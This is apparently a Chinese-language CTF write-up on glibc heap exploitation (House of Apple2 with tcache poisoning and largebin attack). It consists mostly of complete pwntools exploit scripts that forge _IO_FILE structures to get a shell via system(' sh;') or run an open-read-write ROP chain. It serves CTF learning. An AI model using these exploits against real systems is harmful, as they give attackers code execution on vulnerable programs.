    if ((wint_t)_IO_WOVERFLOW (fp, WEOF) == WEOF) // 需要走到这里
      return EOF;
    // .....
}

当满足fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base时就会调用_IO_WOVERFLOW(fp)

例题分析

oneday

house of apple2解法

前文有结构体内容,是利用_IO_wfile_overflow函数控制程序执行流

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
from pwn import *
from ctypes import *

pwn = './oneday'
libc = ELF('./libc.so.6')
if args['REMOTE']:
    io = remote('192.168.18.22', 8888)
else:
    io = process(pwn)

context(log_level='debug')
#context.terminal = ['tmux','splitw','-h']
context.binary = elf = ELF(pwn)
rop = ROP(context.binary)

s = lambda data: io.send(data)
sa = lambda text, data: io.sendafter(text, data)
sl = lambda data: io.sendline(data)
sla = lambda text, data: io.sendlineafter(text, data)
r = lambda num=4096: io.recv(num)
ru = lambda text: io.recvuntil(text)
pr = lambda num=4096: print(io.recv(num))
inter = lambda: io.interactive()

l32 = lambda: u32(io.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00'))
l64 = lambda: u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
uu32 = lambda: u32(io.recv(4).ljust(4, b'\x00'))
uu32_hex = lambda: int(io.recvuntil(b'0x', drop=True) + r(8), 16)
uu64 = lambda: u64(io.recv(6).ljust(8, b'\x00'))
uu64_hex = lambda: int(io.recvuntil(b'0x', drop=True) + r(12), 16)
uuu64 = lambda: u64(ru(b'\x7f')[-6:].ljust(8, b'\x00'))
uuuu64 = lambda target: u64((ru(target)[-1:] + r(5)).ljust(8, b'\x00'))

int16 = lambda data: int(data, 16)

lg = lambda s, num: io.success('%s -> 0x%x' % (s, num))

def get_sb():
    return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))

def get_orw():
    return libc_base + libc.sym['open'], libc_base + libc.sym['read'], libc_base + libc.sym['write']

def debug(breakpoints=None):
    if breakpoints is None:
        breakpoints = ["__call_tls_dtors"]
    elif isinstance(breakpoints, str):
        breakpoints = [breakpoints]
    script = ""
    for bp in breakpoints:
        script += f"b {bp}\n"
    gdb.attach(proc.pidof(io)[0], script)
    pause()

def fmt(value, offset=14, size='hhn'):
    if size == 'hhn':
        num = value & 0xff
    elif size == 'hn':
        num = value & 0xffff
    elif size == 'n':
        num = value & 0xffffffff
    payload = f"%{num}c%{offset}${size}".encode()
    #value 是格式化字符串偏移          
    return payload

lss = lambda s: log.success('\033[1;31;40m%s --> 0x%x \033[0m' % (s, eval(s)))

def cat_flag():
    flag_header = b'flag{'
    sleep(1)
    sl('cat flag')
    ru(flag_header)
    flag = flag_header + ru('}') + b'}'
    exit(0)

#asm(shellcraft.sh()).ljust(0x108,b'a')

def set_key(key):
    sla(b'key >>\n',str(key))

def add(choise):
   sla(b'command:',b'1')
   sla(b'choise: ',str(choise))

def dele(idx):
    sla(b'command: \n',b'2')
    sla(b'Index: ',str(idx))

def edit(idx,commend):
    sla(b'command:',b'3')
    sla(b'Index: ',str(idx))
    sa(b'Message: \n',commend)
def show(idx):
    sla(b'command:',b'4')   
    sla(b'Index: ',str(idx))
   
def exit():
    sla(b'command:',b'6')  

set_key(10)

add(2) #0
add(2) #1
add(1) #2
dele(2)
dele(1)
dele(0)

add(1) #3
add(1) #4
add(1) #5
add(1) #6

dele(3)
dele(5)
show(3)

ru(b'Message: \n')
libc_base = uu64() - 0x1f2cc0
lg(b'libc_base',libc_base)
io.recv(2)
heap_base = uu64() - 0x17f0
lg(b'heap_base',heap_base)


dele(4)
dele(6)
add(3) #7
add(1) #8
add(1) #9
pause()
dele(8)
add(3)


target_addr = libc_base + libc.sym['_IO_list_all'] 
lg(b'_IO_list_all',target_addr)
_IO_wstrn_jumps = libc_base + libc.sym['_IO_wstrn_jumps']
_IO_wfile_jumps = libc_base + libc.sym['_IO_wfile_jumps']
_IO_stdfile_1_lock = libc_base + 0x1f5720
f1 = FileStructure()
f1._IO_read_ptr = 0xa81
f1.flags = p64(heap_base + 0x2000)
f1._IO_save_base = p64(heap_base+0x1a00)
f1._lock = _IO_stdfile_1_lock
fake_IO_FILE = heap_base + 0x1810
f1._wide_data = fake_IO_FILE + 0xe0
f1.vtable = _IO_wfile_jumps

setcontext = libc_base + libc.sym['setcontext']
pop_rdi = libc_base + 0x2daa2
ret = pop_rdi+1
pop_rax = libc_base + 0x446c0
pop_rsi = libc_base + 0x37c0a
pop_rdx_rbx = libc_base + 0x87729 
syscall = libc_base + 0x883b6

magic_gadget = libc_base + 0x146020
magic = libc_base + 0x1482BA

lg(b'fake_IO_FILE',fake_IO_FILE)
data = flat({
    0x8: target_addr - 0x20,
    0x10:{
        0:{
           0:bytes(f1),
           0xe0: {
               0x18: 0,
               0x30: 0,
               0xe0: fake_IO_FILE + 0x200,
               0x110:0x20,
           },
           0x200:   
                {
                0x0: heap_base + 0x1d00,
                0x8: heap_base + 0x1a00,
                0x10: setcontext + 61,
                0x18: magic_gadget,
                0x68: magic,
                0x90: heap_base + 0x1d10,  #rop链的入口
                0x98: ret


                    },
           0x300: {
               0x0: 0,
               0x8:heap_base+0x300,
               0x10: 'flag\x00\x00\x00\x00',
               0x20: setcontext+61
           },         
           0x500: [
               pop_rax,
               2,
               pop_rdi,
               heap_base + 0x1b20,
               pop_rsi,
               0,
               syscall,

               pop_rax,
               0,
               pop_rdi,
               3,
               pop_rsi,
               heap_base + 0x500,
               pop_rdx_rbx,
               0x40,
               0,
               syscall,

               pop_rax,
               1,
               pop_rdi,
               1,
               pop_rsi,
               heap_base + 0x500,
               pop_rdx_rbx,
               0x40,
               0,
               syscall
           ]
              
        },
        0xa80:[0,0xab1]
    }
})
debug("call (void)signal(SIGALRM, SIG_IGN)") 
edit(5,data)
dele(2)
add(3)
exit()
inter()

LitCTF2024 heap2.35

chunk无大小限制的uaf,所以tcache写_IO_list_all,打House of apple即可。

网上有很多方法

但是哥们学习了这两种直接拿shell的

方法1: house of apple2+tcachebin attack
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
from pwn import *
from ctypes import *

pwn = './heap'
libc = ELF('./libc.so.6')

if args['REMOTE']:
    io = remote('192.168.18.22', 8888)
else:
    io = process(pwn)

context(log_level='debug')
#context.terminal = ['tmux','splitw','-h']
context.binary = elf = ELF(pwn)
rop = ROP(context.binary)

s = lambda data: io.send(data)
sa = lambda text, data: io.sendafter(text, data)
sl = lambda data: io.sendline(data)
sla = lambda text, data: io.sendlineafter(text, data)
r = lambda num=4096: io.recv(num)
ru = lambda text: io.recvuntil(text)
pr = lambda num=4096: print(io.recv(num))
inter = lambda: io.interactive()

l32 = lambda: u32(io.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00'))
l64 = lambda: u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
uu32 = lambda: u32(io.recv(4).ljust(4, b'\x00'))
uu32_hex = lambda: int(io.recvuntil(b'0x', drop=True) + r(8), 16)
uu64 = lambda: u64(io.recv(6).ljust(8, b'\x00'))
uu64_hex = lambda: int(io.recvuntil(b'0x', drop=True) + r(12), 16)
uuu64 = lambda: u64(ru(b'\x7f')[-6:].ljust(8, b'\x00'))
uuuu64 = lambda target: u64((ru(target)[-1:] + r(5)).ljust(8, b'\x00'))

int16 = lambda data: int(data, 16)

lg = lambda s, num: io.success('%s -> 0x%x' % (s, num))

def get_sb():
    return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))

def get_orw():
    return libc_base + libc.sym['open'], libc_base + libc.sym['read'], libc_base + libc.sym['write']

def debug(breakpoints=None):
    if breakpoints is None:
        breakpoints = ["__call_tls_dtors"]
    elif isinstance(breakpoints, str):
        breakpoints = [breakpoints]
    script = ""
    for bp in breakpoints:
        script += f"b {bp}\n"
    gdb.attach(proc.pidof(io)[0], script)
    pause()

def fmt(value, offset=14, size='hhn'):
    if size == 'hhn':
        num = value & 0xff
    elif size == 'hn':
        num = value & 0xffff
    elif size == 'n':
        num = value & 0xffffffff
    payload = f"%{num}c%{offset}${size}".encode()
    #value 是格式化字符串偏移          
    return payload

lss = lambda s: log.success('\033[1;31;40m%s --> 0x%x \033[0m' % (s, eval(s)))

def cat_flag():
    flag_header = b'flag{'
    sleep(1)
    sl('cat flag')
    ru(flag_header)
    flag = flag_header + ru('}') + b'}'
    exit(0)

#asm(shellcraft.sh()).ljust(0x108,b'a')

def add(idx,size):
    sla(b'>>',b'1')
    sla(b'idx? ',str(idx).encode())
    sla(b'size? ',str(size).encode())

def dele(idx):
    sla(b'>>',b'2')
    sla(b'idx? ',str(idx).encode())

def show(idx):
    sla(b'>>',b'3')
    sla(b'idx? ',str(idx).encode())

def edit(idx,commend):
    sla(b'>>',b'4')
    sla(b'idx? ',str(idx).encode())
    sa(b'content :',commend)

def exit():
    sla(b'>>',b'5')


add(0,0x500)
add(1,0x10)

dele(0)
show(0)
ru(b'content : ')
libc_base = uu64() - 0x21ace0
main_arena = libc_base + 0x21ac80
lg(b'libc_base',libc_base)
lg(b'main_arena',main_arena)


add(0xf,0x500)
add(2,0x20)
add(3,0x20)
dele(2)  #产生tcache bin0
dele(3)  #产生tcache bin1
#可以得到 tcache bin1 -> fd =  tcache bin0
show(2)
ru(b'content : ')
heap_base = u64(io.recv(5).ljust(8, b'\x00')) << 12
lg(b'heap_base',heap_base)

key = heap_base >> 12
_IO_list_all = libc_base + libc.sym['_IO_list_all']

debug()
edit(3,p64(_IO_list_all ^ key))
#修改后:可以得到 tcache bin1 -> fd =  (_IO_list_all ^ key),经过malloc后返回的就是_IO_list_all的地址

add(4,0x20) #申请的tcache bin1
add(5,0x20) #申请的fake_chunk(_IO_list_all的位置)

add(6,0x1000)
add(7,0x1000)
add(8,0x1000)

fake_IO_1_addr = heap_base + 0x10 + 2080  #即是fake_IO_file的地址
fake_IO_2_addr = heap_base + 0x10 + 6192  #即是pad3的地址
fake_IO_3_addr = heap_base + 0x10 + 10304 #既是pad4的地址
sys_addr = libc_base + libc.sym['system']
_IO_wfile_jumps = libc_base + libc.sym['_IO_wfile_jumps']

fake_IO_file = b''
fake_IO_file += b' sh;'.ljust(0x8,b'\x00')+p64(0x1101)
fake_IO_file = fake_IO_file.ljust(0x28,b'\x00')
fake_IO_file += p64(1)  # _IO_write_ptr
fake_IO_file = fake_IO_file.ljust(0xa0,b'\x00')
fake_IO_file += p64(fake_IO_2_addr)  # _wide_data = fake_IO_2_addr  
fake_IO_file = fake_IO_file.ljust(0xd8,b'\x00')
fake_IO_file += p64(_IO_wfile_jumps) # vtable = IO_wfile_jumps

edit(6,fake_IO_file) 

pad3 = b''
pad3 += p64(0) * 28
pad3 += p64(fake_IO_3_addr) #vtable

edit(7,pad3)

pad4 = b''
pad4 += p64(0) * 13
pad4 += p64(sys_addr)  #chain
edit(8,pad4)
edit(5,p64(fake_IO_1_addr))  #触发tcache poisoning,直接修改_IO_list_all的内容

lg(b'fake_IO_1_addr',fake_IO_1_addr)
lg(b'fake_IO_2_addr',fake_IO_2_addr)
lg(b'fake_IO_3_addr',fake_IO_3_addr)
pause()
exit()

inter()
方法2:house of apple2+tcachebin attack

tcache bin的fd指针修改

修改前

image-20251010194702632

修改后

image-20251010194826347

image-20251010194956958

由于我们修改了tcachebin1的fd指针,导致我们第二次申请的同样大小的堆块时,会直接申请的是返回_IO_2_1_stderr的地址,这导致我们可以直接修改__IO_2_1_stderr所在的内容,就可以触发tcache poisoning

写入fake_IO_file结构体前:

image-20251010195446567

写入后:

image-20251010195541013

这里需要解释一下wide_data为什么存放的是stderr-0x40的地址,因为wide_data的地址加上0x68就是我们可以直接控制的rip的地址,可以执行onegadget,magic,system函数等等

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
from pwn import *
from ctypes import *

pwn = './heap'
libc = ELF('./libc.so.6')

if args['REMOTE']:
    io = remote('192.168.18.22', 8888)
else:
    io = process(pwn)

context(log_level='debug')
#context.terminal = ['tmux','splitw','-h']
context.binary = elf = ELF(pwn)
rop = ROP(context.binary)

s = lambda data: io.send(data)
sa = lambda text, data: io.sendafter(text, data)
sl = lambda data: io.sendline(data)
sla = lambda text, data: io.sendlineafter(text, data)
r = lambda num=4096: io.recv(num)
ru = lambda text: io.recvuntil(text)
pr = lambda num=4096: print(io.recv(num))
inter = lambda: io.interactive()

l32 = lambda: u32(io.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00'))
l64 = lambda: u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
uu32 = lambda: u32(io.recv(4).ljust(4, b'\x00'))
uu32_hex = lambda: int(io.recvuntil(b'0x', drop=True) + r(8), 16)
uu64 = lambda: u64(io.recv(6).ljust(8, b'\x00'))
uu64_hex = lambda: int(io.recvuntil(b'0x', drop=True) + r(12), 16)
uuu64 = lambda: u64(ru(b'\x7f')[-6:].ljust(8, b'\x00'))
uuuu64 = lambda target: u64((ru(target)[-1:] + r(5)).ljust(8, b'\x00'))

int16 = lambda data: int(data, 16)

lg = lambda s, num: io.success('%s -> 0x%x' % (s, num))

def get_sb():
    return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))

def get_orw():
    return libc_base + libc.sym['open'], libc_base + libc.sym['read'], libc_base + libc.sym['write']

def debug(breakpoints=None):
    if breakpoints is None:
        breakpoints = ["__call_tls_dtors"]
    elif isinstance(breakpoints, str):
        breakpoints = [breakpoints]
    script = ""
    for bp in breakpoints:
        script += f"b {bp}\n"
    gdb.attach(proc.pidof(io)[0], script)
    pause()

def fmt(value, offset=14, size='hhn'):
    if size == 'hhn':
        num = value & 0xff
    elif size == 'hn':
        num = value & 0xffff
    elif size == 'n':
        num = value & 0xffffffff
    payload = f"%{num}c%{offset}${size}".encode()
    #value 是格式化字符串偏移          
    return payload

lss = lambda s: log.success('\033[1;31;40m%s --> 0x%x \033[0m' % (s, eval(s)))

def cat_flag():
    flag_header = b'flag{'
    sleep(1)
    sl('cat flag')
    ru(flag_header)
    flag = flag_header + ru('}') + b'}'
    exit(0)

#asm(shellcraft.sh()).ljust(0x108,b'a')

def add(idx,size):
    sla(b'>>',b'1')
    sla(b'idx? ',str(idx).encode())
    sla(b'size? ',str(size).encode())

def dele(idx):
    sla(b'>>',b'2')
    sla(b'idx? ',str(idx).encode())

def show(idx):
    sla(b'>>',b'3')
    sla(b'idx? ',str(idx).encode())

def edit(idx,commend):
    sla(b'>>',b'4')
    sla(b'idx? ',str(idx).encode())
    sa(b'content :',commend)

def exit():
    sla(b'>>',b'5')


add(0,0x100)
dele(0)
show(0)

ru('content :')
heap_base = (((u64(io.recv(6).ljust(8,b"\x00")) >> 4)<<12)-0x2000)>>4
log.success(f'heap_base:{heap_base:#x}')
add(1,0x500)
add(2,0x10)
dele(1)
show(1)
ru(b'content : ')
libc_base = uu64()-2206944

log.success(f'libc_base:{libc_base:#x}')

add(3,0x100)
add(4,0x100)
dele(3) #产生tcache bin0
dele(4) #产生tcache bin1

#tcache bin1 -> fd = tcache bin0 

stderr = libc_base + libc.sym['_IO_2_1_stderr_']
sys_addr = libc_base + libc.sym['system']

key = (heap_base + 0x3b0)>>12
edit(4,p64(key^stderr)) #修改chunk4的fd

debug()
add(5,0x100) 
add(6,0x100)

fake_file = flat({
    0x0: b"  sh;",
    0x28: sys_addr,
    0xa0: stderr-0x40,   # _wide_data
    0xD8: libc_base + libc.sym['_IO_wfile_jumps'], # jumptable 
}, filler=b"\x00")

edit(6,fake_file)
exit()

inter()
方法3: largebin attack+house of apple2

自学的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
from pwn import *
from ctypes import *
from pwncli import *
pwn = './heap'
libc = ELF('./libc.so.6')

if args['REMOTE']:
    io = remote('192.168.18.22', 8888)
else:
    io = process(pwn)

context(log_level='debug')
#context.terminal = ['tmux','splitw','-h']
context.binary = elf = ELF(pwn)
rop = ROP(context.binary)

s = lambda data: io.send(data)
sa = lambda text, data: io.sendafter(text, data)
sl = lambda data: io.sendline(data)
sla = lambda text, data: io.sendlineafter(text, data)
r = lambda num=4096: io.recv(num)
ru = lambda text: io.recvuntil(text)
pr = lambda num=4096: print(io.recv(num))
inter = lambda: io.interactive()

l32 = lambda: u32(io.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00'))
l64 = lambda: u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
uu32 = lambda: u32(io.recv(4).ljust(4, b'\x00'))
uu32_hex = lambda: int(io.recvuntil(b'0x', drop=True) + r(8), 16)
uu64 = lambda: u64(io.recv(6).ljust(8, b'\x00'))
uu64_hex = lambda: int(io.recvuntil(b'0x', drop=True) + r(12), 16)
uuu64 = lambda: u64(ru(b'\x7f')[-6:].ljust(8, b'\x00'))
uuuu64 = lambda target: u64((ru(target)[-1:] + r(5)).ljust(8, b'\x00'))

int16 = lambda data: int(data, 16)

lg = lambda s, num: io.success('%s -> 0x%x' % (s, num))

def get_sb():
    return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))

def get_orw():
    return libc_base + libc.sym['open'], libc_base + libc.sym['read'], libc_base + libc.sym['write']

def debug(breakpoints=None):
    if breakpoints is None:
        breakpoints = ["__call_tls_dtors"]
    elif isinstance(breakpoints, str):
        breakpoints = [breakpoints]
    script = ""
    for bp in breakpoints:
        script += f"b {bp}\n"
    gdb.attach(proc.pidof(io)[0], script)
    pause()

def fmt(value, offset=14, size='hhn'):
    if size == 'hhn':
        num = value & 0xff
    elif size == 'hn':
        num = value & 0xffff
    elif size == 'n':
        num = value & 0xffffffff
    payload = f"%{num}c%{offset}${size}".encode()
    #value 是格式化字符串偏移          
    return payload

lss = lambda s: log.success('\033[1;31;40m%s --> 0x%x \033[0m' % (s, eval(s)))

def cat_flag():
    flag_header = b'flag{'
    sleep(1)
    sl('cat flag')
    ru(flag_header)
    flag = flag_header + ru('}') + b'}'
    exit(0)

#asm(shellcraft.sh()).ljust(0x108,b'a')

def add(idx,size):
    sla(b'>>',b'1')
    sla(b'idx? ',str(idx).encode())
    sla(b'size? ',str(size).encode())

def dele(idx):
    sla(b'>>',b'2')
    sla(b'idx? ',str(idx).encode())

def show(idx):
    sla(b'>>',b'3')
    sla(b'idx? ',str(idx).encode())

def edit(idx,commend):
    sla(b'>>',b'4')
    sla(b'idx? ',str(idx).encode())
    sa(b'content :',commend)

def exit():
    sla(b'>>',b'5')

debug("_fini")
add(0,0x520)
add(1,0x30)
add(2,0x510)
add(3,0x30)
dele(0)

show(0)
ru(b'content : ')
libc_base = uu64() - 96 - 0x21ac80
lg(b'libc_base',libc_base)
add(4,0x550)
edit(0,b'a'*0x10)
show(0)
ru(b'a'*0x10)
heap_base = u64(io.recv(6).ljust(8,b'\x00')) - 0x290
lg(b'heap_base',heap_base)

large = libc_base + 0x21b0e0     	//写topchunk
heap = heap_base + 0x800 - 0x10
_IO_wfile_jumps = libc_base + 0x2170c0
_IO_list_all = libc_base + libc.sym['_IO_list_all']
lg(b'_IO_all_list',_IO_list_all)
sys_addr = libc_base + libc.sym['system']
fake_IO_addr = heap_base + 0x800
_lock = libc_base + 0x21ca60
edit(0,p64(large)+p64(large)+p64(_IO_list_all-0x20)+p64(_IO_list_all-0x20))  
dele(2)
#pause()
add(5,0x550)
gadget1 = libc_base + 0x16a06a 
# mov    rbp,QWORD PTR [rdi+0x48]
# mov    rax,QWORD PTR [rbp+0x18]
# lea    r13,[rbp+0x10]
# mov    DWORD PTR [rbp+0x10],0x0
# mov    rdi,r13
# call   QWORD PTR [rax+0x28]

gadget2 = libc_base + 0x882cf
#xor esi, esi ; mov rdi, rbp ; call qword ptr [r13 + 0x10]


fake_IO_FILE = IO_FILE_plus_struct()
# fake_IO_FILE.house_of_apple2_execmd_when_exit(_IO_list_all,_IO_wfile_jumps,sys_addr)

fake_IO_FILE.vtable = p64(_IO_wfile_jumps)
fake_IO_FILE._IO_save_base = p64(fake_IO_addr+0x260)
fake_IO_FILE._mode = 0xffffffff
fake_IO_FILE._lock = p64(_lock)
fake_IO_FILE._wide_data = p64(fake_IO_addr+0x200)
fake_IO_FILE._IO_write_ptr = p64(1)
fake_IO_FILE._IO_write_base = p64(0)

payload = bytes(fake_IO_FILE).ljust(0x200,b'\x00')	//之前卡在一个
payload += p64(heap_base+0x2a0)
payload = payload.ljust(0x260,b'\x00')
payload += b' sh;'
payload = payload.ljust(0x270,b'\x00')
payload += p64(0)
payload = payload.ljust(0x278,b'\x00')
payload += p64(fake_IO_addr+0x268)
payload = payload.ljust(0x280,b'\x00')
payload += p64(sys_addr)
payload = payload.ljust(0x290,b'\x00')
payload += p64(gadget2)
payload = payload.ljust(0x2e0,b'\x00')
payload += p64(fake_IO_addr+0x300)
payload = payload.ljust(0x368,b'\x00')
payload += p64(gadget1)
edit(2,payload[0x10:])
exit()

inter()

image-20251104200514896

之前一直卡在这里没进去,服了,就是没修过rdp的值,导致[rbp+0x18][rdx+0x18]的值有冲突,一个必须为0,一个必须写数据,还好后面改了rbp就简单了,但是吧,还不够格,因为 mov DWORD PTR [rbp+0x10],0x0又清零参数,恶心的很,还好再找个gadget2把’ sh;’参数传给rdi,就简单了

image-20251104201041594

找gadget也是真的有意思,直接tele看不见,只有x/8i addr 这样才看得到gadget